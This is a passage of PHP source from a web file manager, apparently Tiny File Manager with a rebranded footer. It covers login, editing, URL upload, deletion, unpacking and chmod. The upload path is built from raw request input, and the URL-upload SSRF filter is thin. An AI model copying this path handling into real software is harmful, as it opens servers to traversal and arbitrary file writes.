<div class="form-group"> <label for="fm_usr"><?php echo lng('Username'); ?></label> <input type="text" class="form-control" id="fm_usr" name="fm_usr" required autofocus> </div> <div class="form-group"> <label for="fm_pwd"><?php echo lng('Password'); ?></label> <input type="password" class="form-control" id="fm_pwd" name="fm_pwd" required> </div> <div class="form-group"> <?php fm_show_message(); ?> </div> <div class="form-group"> <button type="submit" class="btn btn-success btn-block mt-4" role="button"> <?php echo lng('Login'); ?> </button> </div> </form> </div> </div> <div class="footer text-center"> —— © <a href="https://tinyfilemanager.github.io/" target="_blank" class="text-muted" data-version="<?php echo VERSION; ?>">CCP Programmers</a> —— </div> </div> </div> </div> </section> <?php fm_show_footer_login(); exit; } } // update root path if ($use_auth && isset($_SESSION[FM_SESSION_ID]['logged'])) { $root_path = isset($directories_users[$_SESSION[FM_SESSION_ID]['logged']]) ? $directories_users[$_SESSION[FM_SESSION_ID]['logged']] : $root_path; } // clean and check $root_path $root_path = rtrim($root_path, '\\/'); $root_path = str_replace('\\', '/', $root_path); if (!@is_dir($root_path)) { echo "<h1>".lng('Root path')." \"{$root_path}\" ".lng('not found!')." </h1>"; exit; } defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files); defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path); defined('FM_LANG') || define('FM_LANG', $lang); defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', $allowed_file_extensions); defined('FM_UPLOAD_EXTENSION') || define('FM_UPLOAD_EXTENSION', $allowed_upload_extensions); defined('FM_EXCLUDE_ITEMS') || define('FM_EXCLUDE_ITEMS', (version_compare(PHP_VERSION, '7.0.0', '<') ? serialize($exclude_items) : $exclude_items)); defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER', $online_viewer); define('FM_READONLY', $use_auth && !empty($readonly_users) && isset($_SESSION[FM_SESSION_ID]['logged']) && in_array($_SESSION[FM_SESSION_ID]['logged'], $readonly_users)); define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\'); // always use ?p= if (!isset($_GET['p']) && empty($_FILES)) { fm_redirect(FM_SELF_URL . '?p='); } // get path $p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : ''); // clean path $p = fm_clean_path($p); // for ajax request - save $input = file_get_contents('php://input'); $_POST = (strpos($input, 'ajax') != FALSE && strpos($input, 'save') != FALSE) ? json_decode($input, true) : $_POST; // instead globals vars define('FM_PATH', $p); define('FM_USE_AUTH', $use_auth); define('FM_EDIT_FILE', $edit_files); defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding); defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs); defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style); defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format); unset($p, $use_auth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style); /*************************** ACTIONS ***************************/ // AJAX Request if (isset($_POST['ajax']) && !FM_READONLY) { // save if (isset($_POST['type']) && $_POST['type'] == "save") { // get current path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // check path if (!is_dir($path)) { fm_redirect(FM_SELF_URL . '?p='); } $file = $_GET['edit']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || !is_file($path . '/' . $file)) { fm_set_msg(lng('File not found'), 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } header('X-XSS-Protection:0'); $file_path = $path . '/' . $file; $writedata = $_POST['content']; $fd = fopen($file_path, "w"); $write_results = @fwrite($fd, $writedata); fclose($fd); if ($write_results === false){ header("HTTP/1.1 500 Internal Server Error"); die("Could Not Write File! - Check Permissions / Ownership"); } die(true); } //search : get list of files from the current folder if(isset($_POST['type']) && $_POST['type']=="search") { $dir = FM_ROOT_PATH; $response = scan(fm_clean_path($_POST['path']), $_POST['content']); echo json_encode($response); exit(); } // backup files if (isset($_POST['type']) && $_POST['type'] == "backup" && !empty($_POST['file'])) { $fileName = $_POST['file']; $fullPath = FM_ROOT_PATH . '/'; if (!empty($_POST['path'])) { $relativeDirPath = fm_clean_path($_POST['path']); $fullPath .= "{$relativeDirPath}/"; } $date = date("dMy-His"); $newFileName = "{$fileName}-{$date}.bak"; $fullyQualifiedFileName = $fullPath . $fileName; try { if (!file_exists($fullyQualifiedFileName)) { throw new Exception("File {$fileName} not found"); } if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) { echo "Backup {$newFileName} created"; } else { throw new Exception("Could not copy file {$fileName}"); } } catch (Exception $e) { echo $e->getMessage(); } } // Save Config if (isset($_POST['type']) && $_POST['type'] == "settings") { global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $calc_folder, $theme; $newLng = $_POST['js-language']; fm_get_translations([]); if (!array_key_exists($newLng, $lang_list)) { $newLng = 'en'; } $erp = isset($_POST['js-error-report']) && $_POST['js-error-report'] == "true" ? true : false; $shf = isset($_POST['js-show-hidden']) && $_POST['js-show-hidden'] == "true" ? true : false; $hco = isset($_POST['js-hide-cols']) && $_POST['js-hide-cols'] == "true" ? true : false; $caf = isset($_POST['js-calc-folder']) && $_POST['js-calc-folder'] == "true" ? true : false; $te3 = $_POST['js-theme-3']; if ($cfg->data['lang'] != $newLng) { $cfg->data['lang'] = $newLng; $lang = $newLng; } if ($cfg->data['error_reporting'] != $erp) { $cfg->data['error_reporting'] = $erp; $report_errors = $erp; } if ($cfg->data['show_hidden'] != $shf) { $cfg->data['show_hidden'] = $shf; $show_hidden_files = $shf; } if ($cfg->data['show_hidden'] != $shf) { $cfg->data['show_hidden'] = $shf; $show_hidden_files = $shf; } if ($cfg->data['hide_Cols'] != $hco) { $cfg->data['hide_Cols'] = $hco; $hide_Cols = $hco; } if ($cfg->data['calc_folder'] != $caf) { $cfg->data['calc_folder'] = $caf; $calc_folder = $caf; } if ($cfg->data['theme'] != $te3) { $cfg->data['theme'] = $te3; $theme = $te3; } $cfg->save(); echo true; } // new password hash if (isset($_POST['type']) && $_POST['type'] == "pwdhash") { $res = isset($_POST['inputPassword2']) && !empty($_POST['inputPassword2']) ? password_hash($_POST['inputPassword2'], PASSWORD_DEFAULT) : ''; echo $res; } //upload using url if(isset($_POST['type']) && $_POST['type'] == "upload" && !empty($_REQUEST["uploadurl"])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } function event_callback ($message) { global $callback; echo json_encode($message); } function get_file_path () { global $path, $fileinfo, $temp_file; return $path."/".basename($fileinfo->name); } $url = !empty($_REQUEST["uploadurl"]) && preg_match("|^http(s)?://.+$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null; //prevent 127.* domain and known ports $domain = parse_url($url, PHP_URL_HOST); $port = parse_url($url, PHP_URL_PORT); $knownPorts = [22, 23, 25, 3306]; if (preg_match("/^localhost$|^127(?:\.[0-9]+){0,2}\.[0-9]+$|^(?:0*\:)*?:?0*1$/i", $domain) || in_array($port, $knownPorts)) { $err = array("message" => "URL is not allowed"); event_callback(array("fail" => $err)); exit(); } $use_curl = false; $temp_file = tempnam(sys_get_temp_dir(), "upload-"); $fileinfo = new stdClass(); $fileinfo->name = trim(basename($url), ".\x00..\x20"); $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false; $ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION)); $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; $err = false; if(!$isFileAllowed) { $err = array("message" => "File extension is not allowed"); event_callback(array("fail" => $err)); exit(); } if (!$url) { $success = false; } else if ($use_curl) { @$fp = fopen($temp_file, "w"); @$ch = curl_init($url); curl_setopt($ch, CURLOPT_NOPROGRESS, false ); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_FILE, $fp); @$success = curl_exec($ch); $curl_info = curl_getinfo($ch); if (!$success) { $err = array("message" => curl_error($ch)); } @curl_close($ch); fclose($fp); $fileinfo->size = $curl_info["size_download"]; $fileinfo->type = $curl_info["content_type"]; } else { $ctx = stream_context_create(); @$success = copy($url, $temp_file, $ctx); if (!$success) { $err = error_get_last(); } } if ($success) { $success = rename($temp_file, get_file_path()); } if ($success) { event_callback(array("done" => $fileinfo)); } else { unlink($temp_file); if (!$err) { $err = array("message" => "Invalid url parameter"); } event_callback(array("fail" => $err)); } } exit(); } // Delete file / folder if (isset($_GET['del']) && !FM_READONLY) { $del = str_replace( '/', '', fm_clean_path( $_GET['del'] ) ); if ($del != '' && $del != '..' && $del != '.') { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $is_dir = is_dir($path . '/' . $del); if (fm_rdelete($path . '/' . $del)) { $msg = $is_dir ? lng('Folder').' <b>%s</b> '.lng('Deleted') : lng('File').' <b>%s</b> '.lng('Deleted'); fm_set_msg(sprintf($msg, fm_enc($del))); } else { $msg = $is_dir ? lng('Folder').' <b>%s</b> '.lng('not deleted') : lng('File').' <b>%s</b> '.lng('not deleted'); fm_set_msg(sprintf($msg, fm_enc($del)), 'error'); } } else { fm_set_msg(lng('Invalid file or folder name'), 'error'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Create folder if (isset($_GET['new']) && isset($_GET['type']) && !FM_READONLY) { $type = $_GET['type']; $new = str_replace( '/', '', fm_clean_path( strip_tags( $_GET['new'] ) ) ); if (fm_isvalid_filename($new) && $new != '' && $new != '..' && $new != '.') { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($_GET['type'] == "file") { if (!file_exists($path . '/' . $new)) { if(fm_is_valid_ext($new)) { @fopen($path . '/' . $new, 'w') or die('Cannot open file: ' . $new); fm_set_msg(sprintf(lng('File').' <b>%s</b> '.lng('Created'), fm_enc($new))); } else { fm_set_msg(lng('File extension is not allowed'), 'error'); } } else { fm_set_msg(sprintf(lng('File').' <b>%s</b> '.lng('already exists'), fm_enc($new)), 'alert'); } } else { if (fm_mkdir($path . '/' . $new, false) === true) { fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('Created'), $new)); } elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) { fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('already exists'), fm_enc($new)), 'alert'); } else { fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('not created'), fm_enc($new)), 'error'); } } } else { fm_set_msg(lng('Invalid characters in file or folder name'), 'error'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Copy folder / file if (isset($_GET['copy'], $_GET['finish']) && !FM_READONLY) { // from $copy = $_GET['copy']; $copy = fm_clean_path($copy); // empty path if ($copy == '') { fm_set_msg(lng('Source path not defined'), 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // abs path from $from = FM_ROOT_PATH . '/' . $copy; // abs path to $dest = FM_ROOT_PATH; if (FM_PATH != '') { $dest .= '/' . FM_PATH; } $dest .= '/' . basename($from); // move? $move = isset($_GET['move']); // copy/move/duplicate if ($from != $dest) { $msg_from = trim(FM_PATH . '/' . basename($from), '/'); if ($move) { // Move and to != from so just perform move $rename = fm_rename($from, $dest); if ($rename) { fm_set_msg(sprintf(lng('Moved from').' <b>%s</b> '.lng('to').' <b>%s</b>', fm_enc($copy), fm_enc($msg_from))); } elseif ($rename === null) { fm_set_msg(lng('File or folder with this path already exists'), 'alert'); } else { fm_set_msg(sprintf(lng('Error while moving from').' <b>%s</b> '.lng('to').' <b>%s</b>', fm_enc($copy), fm_enc($msg_from)), 'error'); } } else { // Not move and to != from so copy with original name if (fm_rcopy($from, $dest)) { fm_set_msg(sprintf(lng('Copied from').' <b>%s</b> '.lng('to').' <b>%s</b>', fm_enc($copy), fm_enc($msg_from))); } else { fm_set_msg(sprintf(lng('Error while copying from').' <b>%s</b> '.lng('to').' <b>%s</b>', fm_enc($copy), fm_enc($msg_from)), 'error'); } } } else { if (!$move){ //Not move and to = from so duplicate $msg_from = trim(FM_PATH . '/' . basename($from), '/'); $fn_parts = pathinfo($from); $extension_suffix = ''; if(!is_dir($from)){ $extension_suffix = '.'.$fn_parts['extension']; } //Create new name for duplicate $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-'.date('YmdHis').$extension_suffix; $loop_count = 0; $max_loop = 1000; // Check if a file with the duplicate name already exists, if so, make new name (edge case...) while(file_exists($fn_duplicate) & $loop_count < $max_loop){ $fn_parts = pathinfo($fn_duplicate); $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-copy'.$extension_suffix; $loop_count++; } if (fm_rcopy($from, $fn_duplicate, False)) { fm_set_msg(sprintf('Copyied from <b>%s</b> to <b>%s</b>', fm_enc($copy), fm_enc($fn_duplicate))); } else { fm_set_msg(sprintf('Error while copying from <b>%s</b> to <b>%s</b>', fm_enc($copy), fm_enc($fn_duplicate)), 'error'); } } else{ fm_set_msg(lng('Paths must be not equal'), 'alert'); } } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Mass copy files/ folders if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish']) && !FM_READONLY) { // from $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // to $copy_to_path = FM_ROOT_PATH; $copy_to = fm_clean_path($_POST['copy_to']); if ($copy_to != '') { $copy_to_path .= '/' . $copy_to; } if ($path == $copy_to_path) { fm_set_msg(lng('Paths must be not equal'), 'alert'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } if (!is_dir($copy_to_path)) { if (!fm_mkdir($copy_to_path, true)) { fm_set_msg('Unable to create destination folder', 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } } // move? $move = isset($_POST['move']); // copy/move $errors = 0; $files = $_POST['file']; if (is_array($files) && count($files)) { foreach ($files as $f) { if ($f != '') { // abs path from $from = $path . '/' . $f; // abs path to $dest = $copy_to_path . '/' . $f; // do if ($move) { $rename = fm_rename($from, $dest); if ($rename === false) { $errors++; } } else { if (!fm_rcopy($from, $dest)) { $errors++; } } } } if ($errors == 0) { $msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied'; fm_set_msg($msg); } else { $msg = $move ? 'Error while moving items' : 'Error while copying items'; fm_set_msg($msg, 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Rename if (isset($_GET['ren'], $_GET['to']) && !FM_READONLY) { // old name $old = $_GET['ren']; $old = fm_clean_path($old); $old = str_replace('/', '', $old); // new name $new = $_GET['to']; $new = fm_clean_path(strip_tags($new)); $new = str_replace('/', '', $new); // path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // rename if (fm_isvalid_filename($new) && $old != '' && $new != '') { if (fm_rename($path . '/' . $old, $path . '/' . $new)) { fm_set_msg(sprintf(lng('Renamed from').' <b>%s</b> '. lng('to').' <b>%s</b>', fm_enc($old), fm_enc($new))); } else { fm_set_msg(sprintf(lng('Error while renaming from').' <b>%s</b> '. lng('to').' <b>%s</b>', fm_enc($old), fm_enc($new)), 'error'); } } else { fm_set_msg(lng('Invalid characters in file name'), 'error'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Download if (isset($_GET['dl'])) { $dl = $_GET['dl']; $dl = fm_clean_path($dl); $dl = str_replace('/', '', $dl); $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($dl != '' && is_file($path . '/' . $dl)) { fm_download_file($path . '/' . $dl, $dl, 1024); exit; } else { fm_set_msg(lng('File not found'), 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } } // Upload if (!empty($_FILES) && !FM_READONLY) { $override_file_name = false; $f = $_FILES; $path = FM_ROOT_PATH; $ds = DIRECTORY_SEPARATOR; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $uploads = 0; $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false; $response = array ( 'status' => 'error', 'info' => 'Oops! Try again' ); $filename = $f['file']['name']; $tmp_name = $f['file']['tmp_name']; $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; if(!fm_isvalid_filename($filename) && !fm_isvalid_filename($_REQUEST['fullpath'])) { $response = array ( 'status' => 'error', 'info' => "Invalid File name!", ); echo json_encode($response); exit(); } $targetPath = $path . $ds; if ( is_writable($targetPath) ) { $fullPath = $path . '/' . $_REQUEST['fullpath']; $folder = substr($fullPath, 0, strrpos($fullPath, "/")); if(file_exists ($fullPath) && !$override_file_name) { $ext_1 = $ext ? '.'.$ext : ''; $fullPath = str_replace($ext_1, '', $fullPath) .'_'. date('ymdHis'). $ext_1; } if (!is_dir($folder)) { $old = umask(0); mkdir($folder, 0777, true); umask($old); } if (empty($f['file']['error']) && !empty($tmp_name) && $tmp_name != 'none' && $isFileAllowed) { if (move_uploaded_file($tmp_name, $fullPath)) { // Be sure that the file has been uploaded if ( file_exists($fullPath) ) { $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => 'Couldn\'t upload the requested file.' ); } } else { $response = array ( 'status' => 'error', 'info' => "Error while uploading files. Uploaded files $uploads", ); } } } else { $response = array ( 'status' => 'error', 'info' => 'The specified folder for upload isn\'t writeable.' ); } // Return the response echo json_encode($response); exit(); } // Mass deleting if (isset($_POST['group'], $_POST['delete']) && !FM_READONLY) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $files = $_POST['file']; if (is_array($files) && count($files)) { foreach ($files as $f) { if ($f != '') { $new_path = $path . '/' . $f; if (!fm_rdelete($new_path)) { $errors++; } } } if ($errors == 0) { fm_set_msg(lng('Selected files and folder deleted')); } else { fm_set_msg(lng('Error while deleting items'), 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Pack files if (isset($_POST['group']) && (isset($_POST['zip']) || isset($_POST['tar'])) && !FM_READONLY) { $path = FM_ROOT_PATH; $ext = 'zip'; if (FM_PATH != '') { $path .= '/' . FM_PATH; } //set pack type $ext = isset($_POST['tar']) ? 'tar' : 'zip'; if (($ext == "zip" && !class_exists('ZipArchive')) || ($ext == "tar" && !class_exists('PharData'))) { fm_set_msg(lng('Operations with archives are not available'), 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } $files = $_POST['file']; if (!empty($files)) { chdir($path); if (count($files) == 1) { $one_file = reset($files); $one_file = basename($one_file); $zipname = $one_file . '_' . date('ymd_His') . '.'.$ext; } else { $zipname = 'archive_' . date('ymd_His') . '.'.$ext; } if($ext == 'zip') { $zipper = new FM_Zipper(); $res = $zipper->create($zipname, $files); } elseif ($ext == 'tar') { $tar = new FM_Zipper_Tar(); $res = $tar->create($zipname, $files); } if ($res) { fm_set_msg(sprintf(lng('Archive').' <b>%s</b> '.lng('Created'), fm_enc($zipname))); } else { fm_set_msg(lng('Archive not created'), 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Unpack if (isset($_GET['unzip']) && !FM_READONLY) { $unzip = $_GET['unzip']; $unzip = fm_clean_path($unzip); $unzip = str_replace('/', '', $unzip); $isValid = false; $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($unzip != '' && is_file($path . '/' . $unzip)) { $zip_path = $path . '/' . $unzip; $ext = pathinfo($zip_path, PATHINFO_EXTENSION); $isValid = true; } else { fm_set_msg(lng('File not found'), 'error'); } if (($ext == "zip" && !class_exists('ZipArchive')) || ($ext == "tar" && !class_exists('PharData'))) { fm_set_msg(lng('Operations with archives are not available'), 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } if ($isValid) { //to folder $tofolder = ''; if (isset($_GET['tofolder'])) { $tofolder = pathinfo($zip_path, PATHINFO_FILENAME); if (fm_mkdir($path . '/' . $tofolder, true)) { $path .= '/' . $tofolder; } } if($ext == "zip") { $zipper = new FM_Zipper(); $res = $zipper->unzip($zip_path, $path); } elseif ($ext == "tar") { try { $gzipper = new PharData($zip_path); if (@$gzipper->extractTo($path,null, true)) { $res = true; } else { $res = false; } } catch (Exception $e) { //TODO:: need to handle the error $res = true; } } if ($res) { fm_set_msg(lng('Archive unpacked')); } else { fm_set_msg(lng('Archive not unpacked'), 'error'); } } else { fm_set_msg(lng('File not found'), 'error'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Change Perms (not for Windows) if (isset($_POST['chmod']) && !FM_READONLY && !FM_IS_WIN) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $file = $_POST['chmod']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || (!is_file($path . '/' . $file) && !is_dir($path . '/' . $file))) { fm_set_msg(lng('File not found'), 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } $mode = 0; if (!empty($_POST['ur'])) { $mode |= 0400; } if (!empty($_POST['uw'])) { $mode |= 0200; } if (!empty($_POST['ux'])) { $mode |= 0100; } if (!empty($_POST['gr'])) { $mode |= 0040; } if (!empty($_POST['gw'])) { $mode |= 0020; } if (!empty($_POST['gx'])) { $mode |= 0010; } if (!empty($_POST['or'])) { $mode |= 0004; } if (!empty($_POST['ow'])) { $mode |= 0002; } if (!empty($_POST['ox'])) { $mode |= 0001; } if (@chmod($path . '/' . $file, $mode)) { fm_set_msg(lng('Permissions changed')); } else { fm_set_msg(lng('Permissions not changed'), 'error'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } /*************************** /ACTIONS ***************************/ // get current path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // check path if (!is_dir($path)) { fm_redirect(FM_SELF_URL . '?p='); } // get parent folder $parent = fm_get_parent_path(FM_PATH); $objects = is_readable($path) ? scandir($path) : array(); $folders = array(); $files = array(); $current_path = array_slice(explode("/",$path), -1)[0]; if (is_array($objects) && fm_is_exclude_items($current_path)) { foreach ($objects as $file) { if ($file == '.' || $file == '..') { continue; } if (!FM_SHOW_HIDDEN && substr($file, 0, 1) === '.') { continue; } $new_path = $path . '/' . $file; if (@is_file($new_path) && fm_is_exclude_items($file)) { $files[] = $file; } elseif (@is_dir($new_path) && $file != '.' && $file != '..' && fm_is_exclude_items($file)) { $folders[] = $file; } } } if (!empty($files)) { natcasesort($files); } if (!empty($folders)) { natcasesort($folders); } // upload form if (isset($_GET['upload']) && !FM_READONLY) { fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path //get the allowed file extensions function getUploadExt() { $extArr = explode(',', FM_UPLOAD_EXTENSION); if(FM_UPLOAD_EXTENSION && $extArr) { array_walk($extArr, function(&$x) {$x = ".$x";}); return implode(',', $extArr); } return ''; } ?> <link href="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.5.1/min/dropzone.min.css" rel="stylesheet"> <div class="path"> <div class="card mb-2 fm-upload-wrapper <?php echo fm_get_theme(); ?>"> <div class="card-header"> <ul class="nav nav-tabs card-header-tabs"> <li class="nav-item"> <a class="nav-link active" href="#fileUploader" data-target="#fileUploader"><i class="fa fa-arrow-circle-o-up"></i> <?php echo lng('UploadingFiles') ?></a> </li> <li class="nav-item"> <a class="nav-link" href="#urlUploader" class="js-url-upload" data-target="#urlUploader"><i class="fa fa-link"></i> Upload from URL</a> </li> </ul> </div> <div class="card-body"> <p class="card-text"> <a href="?p=<?php echo FM_PATH ?>" class="float-right"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back')?></a> <?php echo lng('DestinationFolder') ?>: <?php echo fm_enc(fm_convert_win(FM_PATH)) ?> </p> <form action="<?php echo htmlspecialchars(FM_SELF_URL) . '?p=' . fm_enc(FM_PATH) ?>" class="dropzone card-tabs-container" id="fileUploader" enctype="multipart/form-data"> <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>"> <input type="hidden" name="fullpath" id="fullpath" value="<?php echo fm_enc(FM_PATH) ?>"> <div class="fallback"> <input name="file" type="file" multiple/> </div> </form> <div class="upload-url-wrapper card-tabs-container hidden" id="urlUploader"> <form id="js-form-url-upload" class="form-inline" onsubmit="return upload_from_url(this);" method="POST" action=""> <input type="hidden" name="type" value="upload" aria-label="hidden" aria-hidden="true"> <input type="url" placeholder="URL" name="uploadurl" required class="form-control" style="width: 80%"> <button type="submit" class="btn btn-primary ml-3"><?php echo lng('Upload') ?></button> <div class="lds-facebook"><div></div><div></div><div></div></div> </form> <div id="js-url-upload__list" class="col-9 mt-3"></div> </div> </div> </div> </div> <script src="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.5.1/min/dropzone.min.js"></script> <script> Dropzone.options.fileUploader = { timeout: 120000, maxFilesize: <?php echo MAX_UPLOAD_SIZE; ?>, acceptedFiles : "<?php echo getUploadExt() ?>", init: function () { this.on("sending", function (file, xhr, formData) { let _path = (file.fullPath) ? file.fullPath : file.name; document.getElementById("fullpath").value = _path; xhr.ontimeout = (function() { toast('Error: Server Timeout'); }); }).on("success", function (res) { let _response = JSON.parse(res.xhr.response); if(_response.status == "error") { toast(_response.info); } }).on("error", function(file, response) { toast(response); }); } } </script> <?php fm_show_footer(); exit; } // copy form POST if (isset($_POST['copy']) && !FM_READONLY) { $copy_files = isset($_POST['file']) ? $_POST['file'] : null; if (!is_array($copy_files) || empty($copy_files)) { fm_set_msg(lng('Nothing selected'), 'alert'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path ?> <div class="path"> <div class="card <?php echo fm_get_theme(); ?>"> <div class="card-header"> <h6><?php echo lng('Copying') ?></h6> </div> <div class="card-body"> <form action="" method="post"> <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>"> <input type="hidden" name="finish" value="1"> <?php foreach ($copy_files as $cf) { echo '<input type="hidden" name="file[]" value="' . fm_enc($cf) . '">' . PHP_EOL; } ?> <p class="break-word"><?php echo lng('Files') ?>: <b><?php echo implode('</b>, <b>', $copy_files) ?></b></p> <p class="break-word"><?php echo lng('SourceFolder') ?>: <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?><br> <label for="inp_copy_to"><?php echo lng('DestinationFolder') ?>:</label> <?php echo FM_ROOT_PATH ?>/<input type="text" name="copy_to" id="inp_copy_to" value="<?php echo fm_enc(FM_PATH) ?>"> </p> <p class="custom-checkbox custom-control"><input type="checkbox" name="move" value="1" id="js-move-files" class="custom-control-input"><label for="js-move-files" class="custom-control-label" style="vertical-align: sub"> <?php echo lng('Move') ?></label></p> <p> <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Copy') ?></button> <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-primary"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b> </p> </form> </div> </div> </div> <?php fm_show_footer(); exit; } // copy form if (isset($_GET['copy']) && !isset($_GET['finish']) && !FM_READONLY) { $copy = $_GET['copy']; $copy = fm_clean_path($copy); if ($copy == '' || !file_exists(FM_ROOT_PATH . '/' . $copy)) { fm_set_msg(lng('File not found'), 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path ?> <div class="path"> <p><b>Copying</b></p> <p class="break-word"> Source path: <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . $copy)) ?><br> Destination folder: <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?> </p> <p> <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&copy=<?php echo urlencode($copy) ?>&finish=1"><i class="fa fa-check-circle"></i> Copy</a></b> <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&copy=<?php echo urlencode($copy) ?>&finish=1&move=1"><i class="fa fa-check-circle"></i> Move</a></b> <b><a href="?p=<?php echo urlencode(FM_PATH) ?>"><i class="fa fa-times-circle"></i> Cancel</a></b> </p> <p><i><?php echo lng('Select folder') ?></i></p> <ul class="folders break-word"> <?php if ($parent !== false) { ?> <li><a href="?p=<?php echo urlencode($parent) ?>&copy=<?php echo urlencode($copy) ?>"><i class="fa fa-chevron-circle-left"></i> ..</a></li> <?php } foreach ($folders as $f) { ?> <li> <a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>&copy=<?php echo urlencode($copy) ?>"><i class="fa fa-folder-o"></i> <?php echo fm_convert_win($f) ?></a></li> <?php } ?> </ul> </div> <?php fm_show_footer(); exit; } if (isset($_GET['settings']) && !FM_READONLY) { fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path global $cfg, $lang, $lang_list; ?> <div class="col-md-8 offset-md-2 pt-3"> <div class="card mb-2 <?php echo fm_get_theme(); ?>"> <h6 class="card-header"> <i class="fa fa-cog"></i> <?php echo lng('Settings') ?> <a href="?p=<?php echo FM_PATH ?>" class="float-right"><i class="fa fa-window-close"></i> <?php echo lng('Cancel')?></a> </h6> <div class="card-body"> <form id="js-settings-form" 